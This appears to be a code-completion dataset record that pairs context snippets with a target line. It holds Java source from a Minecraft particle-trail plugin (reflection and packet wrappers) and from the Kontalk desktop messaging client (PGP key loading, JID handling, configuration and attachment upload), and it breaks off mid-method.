MenuChatListener(), this);\n manager.registerEvents(new PlayerListener(), this);\n manager.registerEvents(new InteractListener(), this);\n manager.registerEvents(new EntityListener(), this);\n\n try {\n Metrics metrics = new Metrics(this);\n metrics.start();\n } catch (IOException e) {\n Logger.log(Logger.LogLevel.WARNING, \"Plugin Metrics (MCStats) has failed to start.\", e, false);\n }\n\n this.checkUpdates();\n }\n\n public void onDisable() {\n Iterator<ItemSpray.ItemSprayRemoveTask> i = ItemSpray.TASKS.iterator();\n while (i.hasNext()) {\n ItemSpray.ItemSprayRemoveTask task = i.next();\n task.executeFinish(false);\n i.remove();\n }\n this.getServer().getScheduler().cancelTasks(this);\n if (this.EH != null) {\n this.EH.clearEffects();\n }\n super.onDisable();\n }\n\n public static SparkTrailPlugin getInstance() {\n return (SparkTrailPlugin) getPluginInstance();\n }\n\n public SparkTrailAPI getAPI() {\n return this.api;\n }\n\n public YAMLConfig getConfig(ConfigType type) {\n if (type == ConfigType.MAIN) {\n return this.config;\n } else if (type == ConfigType.DATA) {\n return this.dataConfig;\n } else if (type == ConfigType.LANG) {\n return this.langConfig;\n }\n return null;\n }\n\n public enum ConfigType {\n MAIN, DATA, LANG;\n }\n\n protected void checkUpdates() {\n if (this.getConfig(ConfigType.MAIN).getBoolean(\"checkForUpdates\", true)) {\n final File file = this.getFile();\n final Updater.UpdateType updateType = this.getConfig(ConfigType.MAIN).getBoolean(\"autoUpdate\", false) ? Updater.UpdateType.DEFAULT : Updater.UpdateType.NO_DOWNLOAD;\n getServer().getScheduler().runTaskAsynchronously(this, new Runnable() {\n @Override\n public void run() {\n Updater updater = new Updater(getInstance(), 47704, file, updateType, false);\n update = updater.getResult() == Updater.UpdateResult.UPDATE_AVAILABLE;\n if (update) {\n name = updater.getLatestName();\n ConsoleLogger.log(ChatColor.GOLD + \"An update is available: \" + name);\n ConsoleLogger.log(ChatColor.GOLD + \"Type /stupdate to update.\");\n }\n }\n });\n }\n }\n\n public boolean onCommand(CommandSender sender, Command cmd, String commandLabel, String[] args) {\n if (commandLabel.equalsIgnoreCase(\"stupdate\")) {\n if (Permission.UPDATE.hasPerm(sender, true, true)) {\n if (updateCheck) {\n @SuppressWarnings(\"unused\")\n Updater updater = new Updater(this, 47704, this.getFile(), Updater.UpdateType.NO_VERSION_CHECK, true);\n return true;\n } else {\n sender.sendMessage(this.prefix + ChatColor.GREEN + \" An update is not available.\");\n return true;\n }\n } else return true;\n } else if (commandLabel.equalsIgnoreCase(\"sparktrail\")) {\n if (Permission.TRAIL.hasPerm(sender, true, true)) {\n PluginDescriptionFile pdFile = this.getDescription();\n sender.sendMessage(secondaryColour + \"-------- SparkTrail --------\");\n sender.sendMessage(primaryColour + \"Author: \" + ChatColor.YELLOW + \"DSH105\");\n sender.sendMessage(primaryColour + \"Description: \" + secondaryColour + pdFile.getDescription());\n sender.sendMessage(primaryColour + \"Version: \" + secondaryColour + pdFile.getVersion());\n sender.sendMessage(primaryColour + \"Website: \" + secondaryColour + pdFile.getWebsite());\n return true;\n } else return true;\n }\n return false;\n }\n}", "public class ReflectionUtil {\n\n public static String NMS_PATH = getNMSPackageName();\n public static String CBC_PATH = getCBCPackageName();\n\n public static String getServerVersion() {\n return Bukkit.getServer().getClass().getPackage().getName().replace(\".\", \",\").split(\",\")[3];\n }\n\n public static String getNMSPackageName() {\n return \"net.minecraft.server.\" + getServerVersion();\n }\n\n public static String getCBCPackageName() {\n return \"org.bukkit.craftbukkit.\" + getServerVersion();\n }\n\n /**\n * Class stuff\n */\n\n public static Class getClass(String name) {\n try {\n return Class.forName(name);\n } catch (ClassNotFoundException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Could not find class: \" + name + \"!\");\n return null;\n }\n }\n\n public static Class getNMSClass(String className) {\n return getClass(NMS_PATH + \".\" + className);\n }\n\n public static Class getCBCClass(String classPath) {\n return getClass(CBC_PATH + \".\" + classPath);\n }\n\n /**\n * Field stuff\n */\n\n public static Field getField(Class<?> clazz, String fieldName) {\n try {\n Field field = clazz.getDeclaredField(fieldName);\n\n if (!field.isAccessible()) {\n field.setAccessible(true);\n }\n\n return field;\n } catch (NoSuchFieldException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"No such field: \" + fieldName + \"!\");\n return null;\n }\n }\n\n public static <T> T getField(Class<?> clazz, String fieldName, Object instance) {\n try {\n return (T) getField(clazz, fieldName).get(instance);\n } catch (IllegalAccessException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Failed to access field: \" + fieldName + \"!\");\n return null;\n }\n }\n\n public static void setField(Class<?> clazz, String fieldName, Object instance, Object value) {\n try {\n getField(clazz, fieldName).set(instance, value);\n } catch (IllegalAccessException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Could not set new field value for: \" + fieldName);\n }\n }\n\n public static <T> T getField(Field field, Object instance) {\n try {\n return (T) field.get(instance);\n } catch (IllegalAccessException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Failed to retrieve field: \" + field.getName());\n return null;\n }\n }\n\n /**\n * Method stuff\n */\n\n public static Method getMethod(Class<?> clazz, String methodName, Class<?>... params) {\n try {\n return clazz.getDeclaredMethod(methodName, params);\n } catch (NoSuchMethodException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"No such method: \" + methodName + \"!\");\n return null;\n }\n }\n\n public static <T> T invokeMethod(Method method, Object instance, Object... args) {\n try {\n return (T) method.invoke(instance, args);\n } catch (IllegalAccessException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Failed to access method: \" + method.getName() + \"!\");\n return null;\n } catch (InvocationTargetException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Failed to invoke method: \" + method.getName() + \"!\");\n return null;\n }\n }\n}", "public class Packet {\n\n private Class packetClass;\n private Object packetHandle;\n private Protocol protocol;\n private Sender sender;\n\n public Packet(PacketFactory.PacketType packetType) {\n this(packetType.getProtocol(), packetType.getSender(), packetType.getId(), packetType.getLegacyId());\n }\n\n public Packet(Protocol protocol, Sender sender, int id, int legacyId) {\n\n if (SparkTrailPlugin.isUsingNetty) {\n\n this.packetClass = PacketUtil.getPacket(protocol, sender, id);\n try {\n this.packetHandle = this.packetClass.newInstance();\n } catch (InstantiationException e) {\n e.printStackTrace();\n } catch (IllegalAccessException e) {\n e.printStackTrace();\n }\n } else {\n FieldAccessor<Map> mapField = new SafeField<Map>(ReflectionUtil.getNMSClass(\"Packet\"), \"a\");\n Map map = mapField.get(null);\n this.packetClass = (Class) MiscUtil.getKeyAtValue(map, legacyId);\n try {\n this.packetHandle = this.packetClass.newInstance();\n } catch (InstantiationException e) {\n e.printStackTrace();\n } catch (IllegalAccessException e) {\n e.printStackTrace();\n }\n }\n }\n\n public Object read(String fieldName) {\n return ReflectionUtil.getField(getPacketClass(), fieldName, this.getPacketHandle());\n }\n\n public void write(String fieldName, Object value) {\n ReflectionUtil.setField(getPacketClass(), fieldName, getPacketHandle(), value);\n }\n\n public void send(Player receiver) {\n PlayerUtil.sendPacket(receiver, getPacketHandle());\n }\n\n public Class getPacketClass() {\n return this.packetClass;\n }\n\n public Object getPacketHandle() {\n return this.packetHandle;\n }\n\n public Protocol getProtocol() {\n return this.protocol;\n }\n\n public Sender getSender() {\n return this.sender;\n }\n}", "public class PacketFactory {\n\n public enum PacketType {\n ENTITY_SPAWN(Protocol.PLAY, Sender.SERVER, 0x0E, 0x17),\n ENTITY_LIVING_SPAWN(Protocol.PLAY, Sender.SERVER, 0x0F, 0x18),\n ENTITY_DESTROY(Protocol.PLAY, Sender.SERVER, 0x13, 0x1D),\n ENTITY_TELEPORT(Protocol.PLAY, Sender.SERVER, 0x18, 0x22),\n ENTITY_ATTACH(Protocol.PLAY, Sender.SERVER, 0x1B, 0x27),\n ENTITY_METADATA(Protocol.PLAY, Sender.SERVER, 0x1C, 0x28),\n CHAT(Protocol.PLAY, Sender.SERVER, 0x02, 0x03),\n NAMED_ENTITY_SPAWN(Protocol.PLAY, Sender.SERVER, 0x0C, 0x14),\n WORLD_PARTICLES(Protocol.PLAY, Sender.SERVER, 0x2A, 0x3F);\n\n private Protocol protocol;\n private Sender sender;\n private int id;\n private int legacyId;\n\n PacketType(Protocol protocol, Sender sender, int id, int legacyId) {\n this.protocol = protocol;\n this.sender = sender;\n this.id = id;\n this.legacyId = legacyId;\n }\n\n public Protocol getProtocol() {\n return protocol;\n }\n\n public Sender getSender() {\n return sender;\n }\n\n public int getId() {\n return id;\n }\n\n public int getLegacyId() {\n return this.legacyId;\n }\n }\n\n //TODO\n\n}", "public class SafeMethod<T> implements MethodAccessor<T> {\n\n private Method method;\n private Class[] params;\n private boolean isStatic;\n\n public SafeMethod() {\n }\n\n public SafeMethod(Method method) {\n setMethod(method);\n }\n\n public SafeMethod(Class<?> coreClass, String methodname, Class<?>... params) {\n try {\n Method method = coreClass.getDeclaredMethod(methodname, params);\n setMethod(method);\n } catch (NoSuchMethodException e) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Failed to find a matching method with name: \" + methodname);\n e.printStackTrace();\n }\n }\n\n protected void setMethod(Method method) {\n if (method == null) {\n ConsoleLogger.log(Logger.LogLevel.WARNING, \"Cannot create a SafeMethod with a null method!\");\n }\n if (!method.isAccessible()) {\n method.setAccessible(true);\n }\n this.method = method;\n this.params = method.getParameterTypes();\n this.isStatic = Modifier.isStatic(method.getModifiers());\n }\n\n @Override\n public T invoke(Object instance, Object... args) {\n if (this.method != null) {\n\n //check if the instance is right\n if (instance == null && !isStatic) {\n throw new UnsupportedOperationException(\"Non-static methods require a valid instance passed in!\");\n }\n\n //check if param lenght is right\n if (args.length != this.params.length) {\n throw new UnsupportedOperationException(\"Not enough arguments!\");\n }\n\n //if we got trough the above stuff then eventually invoke the method\n try {\n return (T) this.method.invoke(instance, args);\n } catch (IllegalAccessException e) {\n e.printStackTrace();\n } catch (InvocationTargetException e) {\n e.printStackTrace();\n }\n }\n return null;\n }\n}" ]
import com.dsh105.sparktrail.SparkTrailPlugin; import com.dsh105.sparktrail.util.ReflectionUtil; import com.dsh105.sparktrail.util.protocol.Packet; import com.dsh105.sparktrail.util.protocol.PacketFactory; import com.dsh105.sparktrail.util.reflection.SafeMethod;
/* * This file is part of SparkTrail 3. * * SparkTrail 3 is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * SparkTrail 3 is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with SparkTrail 3. If not, see <http://www.gnu.org/licenses/>. */ /* * This file is part of EchoPet. * * EchoPet is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * EchoPet is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with EchoPet. If not, see <http://www.gnu.org/licenses/>. */ package com.dsh105.sparktrail.util.protocol.wrapper; public class WrapperPacketChat extends Packet { public WrapperPacketChat() { super(PacketFactory.PacketType.CHAT); } public void setMessage(String chatComponent) { if (!SparkTrailPlugin.isUsingNetty) { if (!(chatComponent instanceof String)) { throw new IllegalArgumentException("Chat component for 1.6 chat packet must be a String!"); } }
this.write("a", new SafeMethod(ReflectionUtil.getNMSClass("ChatSerializer"), "a", String.class).invoke(null, chatComponent));
4
kontalk/desktopclient-java
src/main/java/org/kontalk/client/Client.java
[ "public final class PersonalKey {\n private static final Logger LOGGER = Logger.getLogger(PersonalKey.class.getName());\n\n /** (Server) Authentication key. */\n private final PGPPublicKey mAuthKey;\n /** (Server) Login key. */\n private final PrivateKey mLoginKey;\n /** Signing key. */\n private final PGPKeyPair mSignKey;\n /** En-/decryption key. */\n private final PGPKeyPair mEncryptKey;\n /** X.509 bridge certificate. */\n private final X509Certificate mBridgeCert;\n /** Primary user ID. */\n private final String mUID;\n\n private PersonalKey(PGPKeyPair authKP,\n PGPKeyPair signKP,\n PGPKeyPair encryptKP,\n X509Certificate bridgeCert,\n String uid) throws PGPException {\n mAuthKey = authKP.getPublicKey();\n mLoginKey = PGPUtils.convertPrivateKey(authKP.getPrivateKey());\n mSignKey = signKP;\n mEncryptKey = encryptKP;\n mBridgeCert = bridgeCert;\n mUID = uid;\n }\n\n PGPPrivateKey getPrivateEncryptionKey() {\n return mEncryptKey.getPrivateKey();\n }\n\n PGPPrivateKey getPrivateSigningKey() {\n return mSignKey.getPrivateKey();\n }\n\n int getSigningAlgorithm() {\n return mSignKey.getPublicKey().getAlgorithm();\n }\n\n public X509Certificate getBridgeCertificate() {\n return mBridgeCert;\n }\n\n public PrivateKey getServerLoginKey() {\n return mLoginKey;\n }\n\n /** Returns the first user ID in the key. */\n public String getUserId() {\n return mUID;\n }\n\n public String getFingerprint() {\n return Hex.toHexString(mAuthKey.getFingerprint());\n }\n\n /** Creates a {@link PersonalKey} from private keyring data.\n * X.509 bridge certificate is created from key data.\n */\n public static PersonalKey load(byte[] privateKeyData,\n char[] passphrase)\n throws KonException, IOException, PGPException, CertificateException, NoSuchProviderException {\n return load(privateKeyData, passphrase, null);\n }\n\n /** Creates a {@link PersonalKey} from private keyring data. */\n @SuppressWarnings(\"unchecked\")\n public static PersonalKey load(byte[] privateKeyData,\n char[] passphrase,\n byte[] bridgeCertData)\n throws KonException, IOException, PGPException, CertificateException, NoSuchProviderException {\n PGPSecretKeyRing secRing = new PGPSecretKeyRing(privateKeyData, PGPUtils.FP_CALC);\n\n PGPSecretKey authKey = null;\n PGPSecretKey signKey = null;\n PGPSecretKey encrKey = null;\n\n // assign from key ring\n Iterator<PGPSecretKey> skeys = secRing.getSecretKeys();\n while (skeys.hasNext()) {\n PGPSecretKey key = skeys.next();\n if (key.isMasterKey()) {\n // master key: authentication / legacy: signing\n authKey = key;\n } else if (PGPUtils.isSigningKey(key.getPublicKey())) {\n // sub keys: encryption and signing / legacy: only encryption\n signKey = key;\n } else if (key.getPublicKey().isEncryptionKey()) {\n encrKey = key;\n }\n }\n // legacy: auth key is actually signing key\n if (signKey == null && authKey != null && authKey.isSigningKey()) {\n LOGGER.info(\"legacy key\");\n signKey = authKey;\n }\n\n if (authKey == null || signKey == null || encrKey == null) {\n LOGGER.warning(\"something could not be found, \"\n +\"sign=\"+signKey+ \", auth=\"+authKey+\", encr=\"+encrKey);\n throw new KonException(KonException.Error.LOAD_KEY,\n new PGPException(\"could not find all keys in key data\"));\n }\n\n // decrypt private keys\n PBESecretKeyDecryptor decryptor = new JcePBESecretKeyDecryptorBuilder()\n .setProvider(PGPUtils.PROVIDER)\n .build(passphrase);\n PGPKeyPair authKeyPair = PGPUtils.decrypt(authKey, decryptor);\n PGPKeyPair signKeyPair = PGPUtils.decrypt(signKey, decryptor);\n PGPKeyPair encryptKeyPair = PGPUtils.decrypt(encrKey, decryptor);\n\n // user ID\n Iterator<?> uidIt = authKey.getUserIDs();\n if (!uidIt.hasNext())\n throw new KonException(KonException.Error.LOAD_KEY,\n new PGPException(\"no UID in key\"));\n String uid = (String) uidIt.next();\n\n // X.509 bridge certificate\n X509Certificate bridgeCert;\n if (bridgeCertData != null) {\n bridgeCert = PGPUtils.loadX509Cert(bridgeCertData);\n } else {\n // public key ring\n ByteArrayOutputStream out = new ByteArrayOutputStream();\n authKeyPair.getPublicKey().encode(out);\n signKeyPair.getPublicKey().encode(out);\n encryptKeyPair.getPublicKey().encode(out);\n byte[] publicKeyRingData = out.toByteArray();\n PGPPublicKeyRing pubKeyRing = new BcPGPPublicKeyRing(publicKeyRingData);\n\n // re-create cert\n bridgeCert = createX509Certificate(authKeyPair, pubKeyRing);\n }\n\n return new PersonalKey(authKeyPair, signKeyPair, encryptKeyPair, bridgeCert, uid);\n }\n\n private static X509Certificate createX509Certificate(PGPKeyPair keyPair,\n PGPPublicKeyRing keyRing)\n throws KonException {\n try {\n return X509Bridge.createCertificate(keyPair, keyRing.getEncoded());\n } catch (InvalidKeyException | IllegalStateException | NoSuchAlgorithmException |\n SignatureException | CertificateException | NoSuchProviderException |\n PGPException | IOException | OperatorCreationException ex) {\n LOGGER.log(Level.WARNING, \"can't create X.509 certificate\");\n throw new KonException(KonException.Error.LOAD_KEY, ex);\n }\n }\n}", "public final class JID {\n private static final Logger LOGGER = Logger.getLogger(JID.class.getName());\n\n static {\n // good to know. For working JID validation\n SimpleXmppStringprep.setup();\n }\n\n private final String mLocal; // escaped!\n private final String mDomain;\n private final String mResource;\n private final boolean mValid;\n\n private JID(String local, String domain, String resource) {\n mLocal = local;\n mDomain = domain;\n mResource = resource;\n\n mValid = !mLocal.isEmpty() && !mDomain.isEmpty()\n // NOTE: domain check could be stronger - compliant with RFC 6122, but\n // server does not accept most special characters\n // NOTE: resource not checked\n && JidUtil.isTypicalValidEntityBareJid(\n XmppStringUtils.completeJidFrom(mLocal, mDomain));\n }\n\n /** Return unescaped local part. */\n public String local() {\n return XmppStringUtils.unescapeLocalpart(mLocal);\n }\n\n public String domain() {\n return mDomain;\n }\n\n /** Return JID as escaped string. */\n public String string() {\n return XmppStringUtils.completeJidFrom(mLocal, mDomain, mResource);\n }\n\n public String asUnescapedString() {\n return XmppStringUtils.completeJidFrom(this.local(), mDomain, mResource);\n }\n\n public boolean isValid() {\n return mValid;\n }\n\n public boolean isHash() {\n return mLocal.matches(\"[0-9a-f]{40}\");\n }\n\n public boolean isFull() {\n return !mResource.isEmpty();\n }\n\n public JID toBare() {\n return new JID(mLocal, mDomain, \"\");\n }\n\n /** To invalid(!) domain JID. */\n public JID toDomain() {\n return new JID(\"\", mDomain, \"\");\n }\n\n public BareJid toBareSmack() {\n try {\n return JidCreate.bareFrom(this.string());\n } catch (XmppStringprepException ex) {\n LOGGER.log(Level.WARNING, \"could not convert to smack\", ex);\n throw new RuntimeException(\"You didn't check isValid(), idiot!\");\n }\n }\n\n public Jid toSmack() {\n try {\n return JidCreate.from(this.string());\n } catch (XmppStringprepException ex) {\n LOGGER.log(Level.WARNING, \"could not convert to smack\", ex);\n throw new RuntimeException(\"Not even a simple Jid?\");\n }\n }\n\n /**\n * Comparing only bare JIDs.\n * Case-insensitive.\n */\n @Override\n public final boolean equals(Object o) {\n if (o == this)\n return true;\n\n if (!(o instanceof JID))\n return false;\n\n JID oJID = (JID) o;\n return mLocal.equalsIgnoreCase(oJID.mLocal) &&\n mDomain.equalsIgnoreCase(oJID.mDomain);\n }\n\n @Override\n public int hashCode() {\n return Objects.hash(mLocal, mDomain);\n }\n\n /** Use this only for debugging and otherwise string() instead! */\n @Override\n public String toString() {\n return \"'\"+this.string()+\"'\";\n }\n\n public static JID full(String jid) {\n jid = StringUtils.defaultString(jid);\n return escape(XmppStringUtils.parseLocalpart(jid),\n XmppStringUtils.parseDomain(jid),\n XmppStringUtils.parseResource(jid));\n }\n\n public static JID bare(String jid) {\n jid = StringUtils.defaultString(jid);\n return escape(XmppStringUtils.parseLocalpart(jid), XmppStringUtils.parseDomain(jid), \"\");\n }\n\n public static JID fromSmack(Jid jid) {\n Localpart localpart = jid.getLocalpartOrNull();\n return new JID(localpart != null ? localpart.toString() : \"\",\n jid.getDomain().toString(),\n jid.getResourceOrEmpty().toString());\n }\n\n public static JID bare(String local, String domain) {\n return escape(local, domain, \"\");\n }\n\n private static JID escape(String local, String domain, String resource) {\n return new JID(XmppStringUtils.escapeLocalpart(local), domain, resource);\n }\n\n public static JID deleted(int id) {\n return new JID(\"\", Integer.toString(id), \"\");\n }\n}", "public final class KonException extends Exception {\n\n public enum Error {\n DB,\n IMPORT_ARCHIVE,\n IMPORT_READ_FILE,\n IMPORT_KEY,\n CHANGE_PASS,\n CHANGE_PASS_COPY,\n WRITE_FILE,\n READ_FILE,\n LOAD_KEY,\n LOAD_KEY_DECRYPT,\n CLIENT_CONNECT,\n CLIENT_LOGIN,\n CLIENT_ERROR,\n DOWNLOAD_CREATE,\n DOWNLOAD_RESPONSE,\n DOWNLOAD_EXECUTE,\n DOWNLOAD_WRITE,\n UPLOAD_CREATE,\n UPLOAD_RESPONSE,\n UPLOAD_EXECUTE,\n }\n\n private final Error mError;\n\n public KonException(Error error, Exception ex) {\n super(ex);\n mError = error;\n }\n\n public KonException(Error error) {\n super();\n mError = error;\n }\n\n public Class<?> getCauseClass() {\n Throwable cause = this.getCause();\n return cause == null ? this.getClass() : cause.getClass();\n }\n\n public Error getError() {\n return mError;\n }\n}", "public final class Config extends PropertiesConfiguration {\n private static final Logger LOGGER = Logger.getLogger(Config.class.getName());\n\n private static Config INSTANCE = null;\n\n private static final String FILENAME = \"kontalk.properties\";\n\n // all configuration property keys\n // disable network property for now -> same as server host\n //public static final String SERV_NET = \"server.network\";\n public static final String SERV_HOST = \"server.host\";\n public static final String SERV_PORT = \"server.port\";\n public static final String SERV_CERT_VALIDATION = \"server.cert_validation\";\n public static final String ACC_PASS = \"account.passphrase\";\n public static final String ACC_JID = \"account.jid\";\n public static final String VIEW_FRAME_WIDTH = \"view.frame.width\";\n public static final String VIEW_FRAME_HEIGHT = \"view.frame.height\";\n public static final String VIEW_SELECTED_CHAT = \"view.thread\";\n public static final String VIEW_CHAT_BG = \"view.thread_bg\";\n public static final String VIEW_USER_CONTACT = \"view.user_in_contactlist\";\n public static final String VIEW_HIDE_BLOCKED = \"view.hide_blocked_contacts\";\n public static final String VIEW_MESSAGE_FONT_SIZE = \"view.msg_font_size\";\n public static final String NET_SEND_CHAT_STATE = \"net.chatstate\";\n public static final String NET_SEND_ROSTER_NAME = \"net.roster_name\";\n public static final String NET_STATUS_LIST = \"net.status_list\";\n public static final String NET_AUTO_SUBSCRIPTION = \"net.auto_subscription\";\n public static final String NET_REQUEST_AVATARS = \"net.request_avatars\";\n public static final String NET_MAX_IMG_SIZE = \"net.max_img_size\";\n public static final String MAIN_CONNECT_STARTUP = \"main.connect_startup\";\n public static final String NET_RETRY_CONNECT = \"main.retry_connect\";\n public static final String MAIN_TRAY = \"main.tray\";\n public static final String MAIN_TRAY_CLOSE = \"main.tray_close\";\n public static final String MAIN_ENTER_SENDS = \"main.enter_sends\";\n\n // default server address\n //public static final String DEFAULT_SERV_NET = \"kontalk.net\";\n public static final String DEFAULT_SERV_HOST = \"beta.kontalk.net\";\n public static final int DEFAULT_SERV_PORT = 5999;\n\n private final String mDefaultXMPPStatus =\n Tr.tr(\"Hey, I'm using Kontalk on my PC!\");\n\n private Config(Path configFile) {\n super();\n\n // separate list elements by tab character\n this.setListDelimiter((char) 9);\n\n try {\n this.load(configFile.toString());\n } catch (ConfigurationException ex) {\n LOGGER.info(\"configuration file not found; using default values\");\n }\n\n this.setFileName(configFile.toString());\n\n // init config / set default values for new properties\n Map<String, Object> map = new HashMap<>();\n //map.put(SERV_NET, DEFAULT_SERV_NET);\n map.put(SERV_HOST, DEFAULT_SERV_HOST);\n map.put(SERV_PORT, DEFAULT_SERV_PORT);\n map.put(SERV_CERT_VALIDATION, true);\n map.put(ACC_PASS, \"\");\n map.put(ACC_JID, \"\");\n map.put(VIEW_FRAME_WIDTH, 600);\n map.put(VIEW_FRAME_HEIGHT, 650);\n map.put(VIEW_SELECTED_CHAT, -1);\n map.put(VIEW_CHAT_BG, \"\");\n map.put(VIEW_USER_CONTACT, false);\n map.put(VIEW_HIDE_BLOCKED, false);\n map.put(VIEW_MESSAGE_FONT_SIZE, -1);\n map.put(NET_SEND_CHAT_STATE, true);\n map.put(NET_SEND_ROSTER_NAME, false);\n map.put(NET_STATUS_LIST, new String[]{mDefaultXMPPStatus});\n map.put(NET_AUTO_SUBSCRIPTION, false);\n map.put(NET_REQUEST_AVATARS, true);\n map.put(NET_MAX_IMG_SIZE, -1);\n map.put(NET_RETRY_CONNECT, true);\n map.put(MAIN_CONNECT_STARTUP, true);\n map.put(MAIN_TRAY, true);\n map.put(MAIN_TRAY_CLOSE, false);\n map.put(MAIN_ENTER_SENDS, true);\n\n map.entrySet().stream()\n .filter(e -> !this.containsKey(e.getKey()))\n .forEach(e -> this.setProperty(e.getKey(), e.getValue()));\n }\n\n public void saveToFile() {\n try {\n this.save();\n } catch (ConfigurationException ex) {\n LOGGER.log(Level.WARNING, \"can't save configuration\", ex);\n }\n }\n\n public static void initialize(Path appDir) {\n if (INSTANCE != null) {\n LOGGER.warning(\"already initialized\");\n return;\n }\n\n INSTANCE = new Config(appDir.resolve(Config.FILENAME));\n }\n\n public static Config getInstance() {\n if (INSTANCE == null)\n throw new IllegalStateException(\"not initialized\");\n\n return INSTANCE;\n }\n}", "public class AttachmentManager implements Runnable {\n private static final Logger LOGGER = Logger.getLogger(AttachmentManager.class.getName());\n\n public static final String ATT_DIRNAME = \"attachments\";\n public static final String PREVIEW_DIRNAME = \"preview\";\n\n private static final String RESIZED_IMG_MIME = \"image/jpeg\";\n private static final String THUMBNAIL_MIME = \"image/jpeg\";\n\n public static final Dimension THUMBNAIL_DIM = new Dimension(300, 200);\n public static final String ENCRYPT_PREFIX = \"encrypted_\";\n public static final int MAX_ATT_SIZE = 20 * 1024 * 1024;\n\n public static class Slot {\n final URI uploadURL;\n final URI downloadURL;\n\n public Slot() {\n this(URI.create(\"\"), URI.create(\"\"));\n }\n\n public Slot(URI uploadURI, URI downloadURL) {\n this.uploadURL = uploadURI;\n this.downloadURL = downloadURL;\n }\n }\n\n //private static final String ENCRYPT_MIME = \"application/octet-stream\";\n\n private final Control mControl;\n private final Client mClient;\n\n private final LinkedBlockingQueue<Task> mQueue = new LinkedBlockingQueue<>();\n private final Path mAttachmentDir;\n private final Path mPreviewDir;\n\n private static class Task {\n\n private Task() {}\n\n static final class UploadTask extends Task {\n final OutMessage message;\n\n UploadTask(OutMessage message) {\n this.message = message;\n }\n }\n\n static final class DownloadTask extends Task {\n final InMessage message;\n\n DownloadTask(InMessage message) {\n this.message = message;\n }\n }\n }\n\n private AttachmentManager(Control control, Client client, Path baseDir) {\n mControl = control;\n mClient = client;\n mAttachmentDir = baseDir.resolve(ATT_DIRNAME);\n if (mAttachmentDir.toFile().mkdir())\n LOGGER.info(\"created attachment directory\");\n\n mPreviewDir = baseDir.resolve(PREVIEW_DIRNAME);\n if (mPreviewDir.toFile().mkdir())\n LOGGER.info(\"created preview directory\");\n }\n\n static AttachmentManager create(Control control, Client client, Path appDir) {\n AttachmentManager manager = new AttachmentManager(control, client, appDir);\n\n Thread thread = new Thread(manager, \"Attachment Transfer\");\n thread.setDaemon(true);\n thread.start();\n\n return manager;\n }\n\n void queueUpload(OutMessage message) {\n boolean added = mQueue.offer(new Task.UploadTask(message));\n if (!added) {\n LOGGER.warning(\"can't add upload message to queue\");\n }\n }\n\n void queueDownload(InMessage message) {\n boolean added = mQueue.offer(new Task.DownloadTask(message));\n if (!added) {\n LOGGER.warning(\"can't add download message to queue\");\n }\n }\n\n private void uploadAsync(OutMessage message) {\n OutAttachment attachment = message.getContent().getOutAttachment().orElse(null);\n if (attachment == null) {\n LOGGER.warning(\"no attachment in message to upload\");\n return;\n }\n\n if (!mClient.isConnected()) {\n LOGGER.info(\"can't upload, not connected\");\n return;\n }\n\n File original;\n File file = original = attachment.getFilePath().toFile();\n String uploadName;\n try {\n uploadName = URLEncoder.encode(file.getName(), \"UTF-8\");\n } catch (UnsupportedEncodingException ex) {\n LOGGER.log(Level.WARNING, \"can't encode file name\", ex);\n return;\n }\n String mime = attachment.getMimeType();\n\n // maybe resize image for smaller payload\n if(isImage(mime)) {\n int maxImgSize = Config.getInstance().getInt(Config.NET_MAX_IMG_SIZE);\n if (maxImgSize > 0) {\n BufferedImage img = MediaUtils.readImage(file).orElse(null);\n if (img == null) {\n LOGGER.warning(\"can't load image\");\n return;\n }\n if (img.getWidth() * img.getHeight() > maxImgSize) {\n // image needs to be resized\n BufferedImage resized = MediaUtils.scale(img, maxImgSize);\n try {\n file = File.createTempFile(\"kontalk_resized_img_att\", \".dat\");\n } catch (IOException ex) {\n LOGGER.log(Level.WARNING, \"can't create temporary file\", ex);\n return;\n }\n mime = RESIZED_IMG_MIME;\n boolean succ = MediaUtils.writeImage(resized,\n MediaUtils.extensionForMIME(mime),\n file);\n if (!succ)\n return;\n }\n }\n }\n\n // if text will be encrypted, always encrypt attachment too\n boolean encrypt = message.getCoderStatus().getEncryption() == Encryption.DECRYPTED;\n if (encrypt) {\n PersonalKey myKey = mControl.myKey().orElse(null);\n File encryptFile = myKey == null ?\n null :\n Coder.encryptAttachment(myKey, message, file).orElse(null);\n if (!file.equals(original))\n delete(file);\n if (encryptFile == null)\n return;\n file = encryptFile;\n // Note: continue using original MIME type, Android client needs it\n //mime = ENCRYPT_MIME;\n }\n\n HTTPFileClient client = this.clientOrNull();\n if (client == null)\n return;\n\n long length = file.length();\n Slot uploadSlot = mClient.getUploadSlot(uploadName, length, mime);\n if (uploadSlot.uploadURL.toString().isEmpty() ||\n uploadSlot.downloadURL.toString().isEmpty()) {\n LOGGER.warning(\"empty slot: \"+attachment);\n return;\n }\n\n try {\n client.upload(file, uploadSlot.uploadURL, mime, encrypt);\n } catch (KonException ex) {\n LOGGER.warning(\"upload failed, attachment: \"+attachment);\n message.setStatus(KonMessage.Status.ERROR);\n mControl.onException(ex);\n return;\n }\n\n if (!file.equals(original))\n delete(file);\n\n attachment.setUploaded(uploadSlot.downloadURL, mime, length);\n\n LOGGER.info(\"upload successful, URL=\"+uploadSlot.downloadURL);\n\n // make sure not to loop\n if (attachment.hasURL())\n mControl.sendMessage(message);\n }\n\n private void downloadAsync(final InMessage message) {\n InAttachment attachment = 